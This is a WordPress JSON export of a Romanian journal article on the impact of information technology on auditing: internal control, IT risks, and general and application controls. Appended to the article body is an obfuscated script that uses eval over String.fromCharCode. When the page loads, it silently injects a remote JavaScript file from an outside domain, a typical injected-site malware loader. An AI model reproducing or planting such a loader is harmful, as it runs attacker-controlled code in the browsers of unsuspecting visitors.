{"id":440,"date":"2010-12-07T21:04:54","date_gmt":"2010-12-07T19:04:54","guid":{"rendered":"http:\/\/aafdutm.ro\/revista\/?p=440"},"modified":"2011-09-18T15:06:40","modified_gmt":"2011-09-18T13:06:40","slug":"impactul-tehnologiilor-informationale-asupra-procesului-de-audit","status":"publish","type":"post","link":"https:\/\/www.aafdutm.ro\/revista\/anul-ii\/impactul-tehnologiilor-informationale-asupra-procesului-de-audit\/","title":{"rendered":"IMPACTUL TEHNOLOGIILOR INFORMA\u0162IONALE ASUPRA   PROCESULUI DE AUDIT"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Cum \u00eembun\u0103t\u0103\u021besc tehnologiile informa\u021bionale controlul intern?<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Cele mai multe entit\u0103\u0163i, inclusiv \u00eentreprinderile mici , familiale, se bazeaz\u0103 pe tehnologii informa\u0163ionale pentru \u00eenregistrarea \u015fi prelucrarea opera\u0163iunilor economice. Ca rezultat al progreselor impresionante \u00een acest domeniu, chiar \u015fi societ\u0103\u0163ile cu o activitate relativ simpl\u0103 folosesc computere personale cu programe informatice cump\u0103rate de-a gata pentru procesele lor contabile, inlocuind sistemele contabile manuale, inefieciente \u015fi mai pu\u0163in eficace. Pe m\u0103sur\u0103 ce cresc \u015fi evolueaz\u0103, \u00eentreprinderile \u00ee\u015fi perfec\u0163ioneaz\u0103 sistemele de tehnologii informa\u0163ionale pentru a r\u0103spunde nevoilor cresc\u00e2nde de informa\u0163ii.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Printre \u00eembun\u0103t\u0103\u0163irile controlului intern rezult\u00e2nd din integrarea tehnologiilor informa\u0163ionale \u00een sistemele contabile se num\u0103r\u0103:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">\u00d8\u00a0 <em>Mecanismele de control informatice le inlocuiesc pe cele manuale.<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Avantaje: posibilitatea de a \u00eembun\u0103t\u0103\u0163i controlul intern prin \u00eencorporarea unor mecanisme de control executate de computer \u00een activit\u0103\u0163ile cotidiene de prelucrare a opera\u0163iunilor. Un sistem IT bine controlat ofer\u0103 un poten\u0163ial mai mare de reducere a erorilor, deoarece computerele prelucreaz\u0103 informa\u0163iile de manier\u0103 consecvent\u0103, uniform\u0103.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">\u00d8\u00a0 <em>Sunt disponibile informa\u0163ii de calitate mai inalt\u0103.<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Cu ajutorul tehnologiilor informa\u0163ionale, utilizarea informa\u0163iilor ofer\u0103 un poten\u0163ial adi\u0163ional de \u00eembun\u0103t\u0103\u0163ire a deciziilor manageriale.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>EVALUAREA RISCURILOR LEGATE DE TEHNOLOGIILE INFORMA\u0162IONALE<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">De\u015fi tehnologiile informa\u0163ionale pot ameliora controlul intern al unei companii, ele pot, de asemenea, afecta riscul general de control al companiei. Numeroase riscuri asociate sistemelor manuale sunt diminuate \u015fi, \u00een numeroase cazuri, chiar eliminate.Totu\u015fi apar noi riscuri specifice mediilor de IT, iar acestea pot conduce la pierderi substan\u0163iale daca sunt ignorate.Ele pot m\u0103ri probabilitatea apari\u0163iei unor prezent\u0103ri semnificativ eronate \u00een situa\u0163iile financiare, fapt ce ar trebuie luat \u00een considerare \u015fi de management \u015fi de auditori.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Riscurile \u2013 cheie specifice mediilor bazate pe tehnologii informa\u0163ionale:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><em>Dependen\u0163a de capacit\u0103\u0163ile de func\u0163ionare ale echipamentelor \u015fi programlor informatice.<\/em><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">F\u0103r\u0103 o protec\u0163ie adecvat\u0103, s-ar putea ca echipamentele sau programele informatice sa nu func\u0163ioneze. Prin urmare este vital s\u0103 se asigure o protec\u0163ie fizic\u0103 a echipamentelor, programelor \u015fi datelor asociate acestora \u00eempotriva deterior\u0103rilor fizice care ar putea rezulta din folosirea inadecvat\u0103, sabotaj sau anumite condi\u0163ii de mediu (cum ar fii incendiile, temperaturile prea ridicate, umiditatea sau inunda\u0163iile).<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><em>Vizibilitatea pistei de audit.<\/em><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Din cauza pistei de audit trebuie instaurate alte mecanisme de control care s\u0103 \u00eenlocuiasc\u0103 posibilitatea tradi\u0163ional\u0103 de a compara informa\u0163iile rezultate cu datele \u00eenscrise pe un suport fizic.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><em>Reducerea implic\u0103rii factorului uman.<\/em><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">\u00cen numeroase medii bazate pe TI, angaja\u0163ii care se ocup\u0103 de prelucrarea ini\u0163iala a opera\u0163iunilor nu v\u0103d niciodata rezultatele finale. Prin urmare, ei au o posibilitate mai mic\u0103 de a identifica erorile de prelucrare. Chiar dac\u0103 ace\u015fti angaja\u0163i v\u0103d rezultatul final, erorile sunt deseori dificil de detectat, deoarece datele sunt sintetice.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><em>Erori sistematice versus erori incidentale.<\/em><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Pe m\u0103sur\u0103 ce organiza\u0163iile \u00eenlocuiesc procedurile manuale cu proceduri bazate pe tehnologiile moderne, riscul apari\u0163iei unei erori incidentale descre\u015fte.Totu\u015fi riscul producerii de erori sistematice cre\u015fte din cauza caracterului uniform al opera\u0163iilor executate pe computere.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><em>Accesul neautorizat<\/em>. Sistemele contabile bazate pe tehnologii informa\u0163ionale permit, deseori, accesul \u00een timp real la datele din fi\u015fierele sistematice \u015fi alte eviden\u0163e stocate pe suporturi electronice. Deoarece accesul \u00een timp real se poate face de la numeroase puncte de acces situate la distan\u0163\u0103, apare un risc de efectuare a unor accese nepermise, ilegitime. Dac\u0103 nu exist\u0103 restric\u0163ii adecvate privind accesul in timp real, cum ar fi parolele \u015fi codurile de identificare a utilizatorilor, prin computer se pot intreprinde activit\u0103\u0163i neautorizate, av\u00e2nd drept rezultat modific\u0103ri inadecvate ale aplica\u0163iilor informatice \u015fi ale fi\u015fierelor sistematice. Mai mult dec\u00e2t at\u00e2t, astfel se pot ob\u0163ine de manier\u0103 ilicit\u0103 informa\u0163ii confiden\u0163iale.<\/span><\/li>\n<li><span style=\"color: #000000;\"><em>Nevoia de experien\u0163\u0103 \u00een domeniul tehnologiilor informa\u0163ionale.<\/em> Chiar \u015fi atunci c\u00e2nd companiile achizi\u0163ioneaz\u0103 sisteme informatice relativ simple, care includ programe gata configurate, este esen\u0163ial s\u0103 existe personal cu experien\u0163\u0103 \u015fi cuno\u015ftin\u0163ele necesare pentru instalarea, intre\u0163inerea \u015fi utilizarea sistemului. Pe m\u0103sur\u0103 ce se r\u0103sp\u00e2nde\u015fte utilizarea de sisteme IT \u00een organiza\u0163ii, de cele mai multe ori cre\u015fte \u015fi nevoia de speciali\u015fti califica\u0163i in domeniul tehnologiilor informa\u0163ionale. Numeroase companii \u00eenfiin\u0163eaz\u0103 o func\u0163ie sau un departament \u00eentreg de personal specializat \u00een tehnologii informa\u0163ionale, \u00een care intr\u0103 programatori, operatori, gestionari de re\u0163ea, gestionari de biblioteci de baze de date. Fiabilitatea unui sistem de IT \u015fi a informa\u0163iilor generate de acesta depinde deseori de capacitatea organiza\u0163iei de a angaja personal sau consultan\u0163i cu experien\u0163\u0103 \u015fi cuno\u015ftin\u0163e adecvate \u00een domeniul tehnologiilor informa\u0163ionale.<\/span><\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><em>Pierderea datelor<\/em>. Majoritatea datelor de baz\u0103 dintr-un mediu bazate      pe IT sunt stocate \u00een fi\u015fiere electronice centralizate. C\u00e2nd datele sunt      centralizate, cre\u015fte riscul de pierdere sau distrugere a unor fi\u015fiere      \u00eentregi de date cu ramifica\u0163ii importante. Apare un poten\u0163ial de elaborare      a unor situa\u0163ii financiare eronate \u015fi, \u00een anumite cazuri , organiza\u0163ia      poate suporta \u00eentreruperi grave ale activit\u0103\u0163ii.<\/span><\/li>\n<li><span style=\"color: #000000;\"><em>Reducerea separ\u0103rii      sarcinilor<\/em>. Pe      m\u0103sur\u0103 ce organiza\u0163iile trec de la procesele manuale la cele informatizate,      computerele execut\u0103 din ce in ce mai multe sarcini care erau tradi\u0163ional      separate, cum ar fi autorizarea opera\u0163iunilor \u015fi \u0163inerea eviden\u0163elor      contabile. Prin urmare, combinarea activit\u0103\u0163ilor diferitelor p\u0103r\u0163i ale      organiza\u0163iei \u00eentr-o singur\u0103 func\u0163ie de tehnologii informa\u0163ionale      centralizeaz\u0103 responsabilit\u0103\u0163ile care erau \u00een trecut separate. Personalul      departamentului de tehnologii informa\u0163ionale, care are acces la aplica\u0163ii      \u015fi la fi\u015fierele sistematice, ar putea sustrage active daca sarcinile- cheie      nu sunt adecvat repartizate \u00eentre angaja\u0163ii func\u0163iei de tehnologii      informa\u0163ionale.<\/span><\/li>\n<li><span style=\"color: #000000;\"><em>Absen\u0163a autoriz\u0103rii tradi\u0163ionale. <\/em>\u00cen sistemele      de IT foarte moderne se obi\u015fnuie\u015fte ca anumite tipuri de opera\u0163iuni s\u0103 fie      ini\u0163iate \u00een mod automat de computer. Printre exemple se num\u0103r\u0103 calculul      dob\u00e2nzilor la conturile de depozite \u015fi ini\u0163ierea comenzilor de      aprovizionare atunci c\u00e2nd se atinge un nivel predefinit al stocurilor.      Prin urmare, autorizarea adecvat\u0103 depinde de procedurile incluse \u00een      aplica\u0163ia informatic\u0103 \u015fi de exactitatea fi\u015fierelor sistematice utilizate \u00een      luarea deciziei de autorizare.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>MECANISMELE DE CONTROL INTERN SPECIFICE TEHNOLOGIILOR INFORMA\u0162IONALE<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Deseori, pentru a face fa\u0163\u0103 numeroaselor riscuri legate de dependen\u0163a cresc\u00e2nd\u0103 de tehnologii informa\u0163ionale, organiza\u0163iile instaureaz\u0103 mecanisme de control specifice pentru func\u0163ia IT. Standardele de audit descriu dou\u0103 categorii mari de mecanisme de control viz\u00e2nd sistemele bazate pe tehnologii informa\u0163ionale \u015fi anume: controalele generale \u015fi controalele de aplica\u0163ie.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em> Controalele generale<\/em><\/strong> se refer\u0103 la toate aspectele func\u0163iei IT, inclusiv administrarea sistemelor, achizi\u0163ia \u015fi \u00eentre\u0163inerea programelor informatice, securitatea fizic\u0103 \u015fi securitatea accesului electronic (logic) la echipamente, programe \u015fi datele asociate acestora, planificarea cre\u0103rii copiilor de siguran\u0163\u0103 \u00een cazul producerii unor evenimente neprev\u0103zute \u015fi conceperea de mecanisme de control integrate \u00een echipamente informatice.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em>Controalele de aplica\u0163ie<\/em><\/strong> se exercit\u0103 asupra prelucr\u0103rii opera\u0163iunilor individuale, cum ar fi controlul prelucr\u0103rii v\u00e2nz\u0103rilor sau \u00eencas\u0103rilor. Prin urmare, controalele de aplica\u0163ie sunt specifice anumitor programe informatice \u015fi, de regul\u0103, nu afecteaz\u0103 toate func\u0163iile care folosesc tehnologii informa\u0163ionale. Din acest motiv, controalele prelucr\u0103rii trebuie evaluate pentru fiecare sfer\u0103 a auditului (cont sau categorie de opera\u0163iuni) afectat\u0103 de o aplica\u0163ie informtic\u0103, \u00een care auditorul planific\u0103 s\u0103 reduc\u0103 riscul de control estimat.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Controalele generale sunt proiectate pentru a proteja toate controalele de aplica\u0163ie, \u00een scopul de a se asigura eficien\u0163a acestora din urm\u0103.\u00a0 Asemanator efectului pe care \u00eel are mediul controlului asupra celorlalte componente ale controlului intern, cele \u015fase categorii de controale generale au un impact de ansamblu asupra tuturor func\u0163iilor legate de tehnologiile informa\u0163ionale. De obicei, auditorii evalueaz\u0103 controalele generale \u00een etapele ini\u0163iale ale auditului, din cauza impactului acestora asupra controalelor de aplica\u0163ie.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Abordarea auditului performan\u0163ei intr-un mediu informatizat trebuie s\u0103 implice urmatoarele procese inter-rela\u0163ionate:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ob\u0163inerea unei in\u0163elegeri asupra sistemelor informatice ale entit\u0103\u0163ilor auditate \u015fi determinarea semnifica\u0163iei acestora pentru obiectivul auditului performan\u0163ei;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 identificarea ariei de cuprindere a auditului sistemelor informatice cerute pentru atingerea obiectivului auditului performan\u0163ei;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 dezvoltarea \u015fi utilizarea tehnicilor de audit asistat de calculator, dac\u0103 este cazul, pentru a facilita auditul.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Auditul performan\u0163ei \u00eentr-un mediu informatizat are ca scop ob\u0163inerea unei asigur\u0103ri rezonabile asupra desf\u0103\u015fur\u0103rii \u015fi func\u0163ion\u0103rii sistemului informatic, \u00een conformitate cu prevederile programului care sus\u0163ine activitatea, cu reglement\u0103rile \u00een domeniu \u015fi cu standardele specifice de securitate, precum \u015fi evaluarea sistemului prin prisma performan\u0163ei privind modernizarea activit\u0103\u0163ii\/domeniului.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Misiunea de audit trebuie s\u0103 se concentreze pe urmatoarele aspecte:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 s\u0103 evalueze dac\u0103 sistemele TI asigur\u0103 economicitatea, eficien\u0163a \u015fi eficacitatea obiectivelor programului \u015fi managmentului s\u0103u, \u00een special \u00een rela\u0163ie cu planificarea, execu\u0163ia, monitorizarea \u015fi furnizarea rezultatelor programului;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 s\u0103 determine dac\u0103 ie\u015firile sistemului sunt convergente cu parametrii de calitate, servicii \u015fi costuri de livrare;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 s\u0103 identifice orice deficien\u0163e \u00een controalele TI \u015fi \u00een cele privind sistemele informa\u0163ionale \u015fi efectul rezultant asupra eficien\u0163ei, economicit\u0103\u0163ii \u015fi eficacit\u0103\u0163ii func\u0163ion\u0103rii;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 s\u0103 compare practicile dezvolt\u0103rii \u015fi \u00eentre\u0163inerii sistemelor informatice ale entit\u0103\u0163ii auditate cu cele mai bune practice \u015fi standardele \u00een domeniu;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">\u00cen auditarea utiliz\u0103rii TI \u00een programele de afaceri, auditorul trebuie s\u0103 se concentreze pe anumite aspecte de interes major pentru societate:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0 cerin\u0163ele guvernului \u015fi alte cerin\u0163e privind utilizarea TI pentru serviciile administra\u0163iei publice;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 strategiile \u015fi procesele decizionale<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Constat\u0103rile \u015fi recomand\u0103rile se refera, \u00een general, la urm\u0103toarele categorii de probleme:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 coordonarea de ansamblu a proiectului;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 planificarea \u015fi monitorizarea consecvent\u0103 a proiectului \u00een profil teritorial;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 planificarea \u015fi monitorizarea utiliz\u0103rii infrastructurii \u015fi serviciilor TI;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 respectare legisla\u0163iei referitoare licen\u0163elor software;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 reticente \u00een folosirea sistemului informatic;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 eliberarea certificatelor pentru persoanele instruite;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 politica formala de securitate a informa\u0163iei \u015fi a sistemului;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 managementul capacit\u0103\u0163ii, utilizarea re\u0163elei de calculatoare la capacitate maxim\u0103;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 gradul de utilizare a portalului pentru servicii de suport tehnic, func\u0163ionarea auditului intern;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Bibliografie:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">1.Munteanu A.- \u201c Auditul sistemelor informa\u0163ionale contabile\u201d<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">2.ISO- 9126 \u201cSoftware Engineering\u201d<\/span><\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cum \u00eembun\u0103t\u0103\u021besc tehnologiile informa\u021bionale controlul intern? Cele mai multe entit\u0103\u0163i, inclusiv \u00eentreprinderile mici , familiale, se bazeaz\u0103 pe tehnologii informa\u0163ionale pentru \u00eenregistrarea \u015fi prelucrarea opera\u0163iunilor economice. Ca rezultat al progreselor impresionante \u00een acest domeniu, chiar \u015fi societ\u0103\u0163ile cu o activitate relativ simpl\u0103 folosesc computere personale cu programe informatice cump\u0103rate de-a gata pentru procesele lor contabile, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[26,81,83],"tags":[97,98],"_links":{"self":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/440"}],"collection":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/comments?post=440"}],"version-history":[{"count":5,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/440\/revisions"}],"predecessor-version":[{"id":521,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/440\/revisions\/521"}],"wp:attachment":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/media?parent=440"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/categories?post=440"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/tags?post=440"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}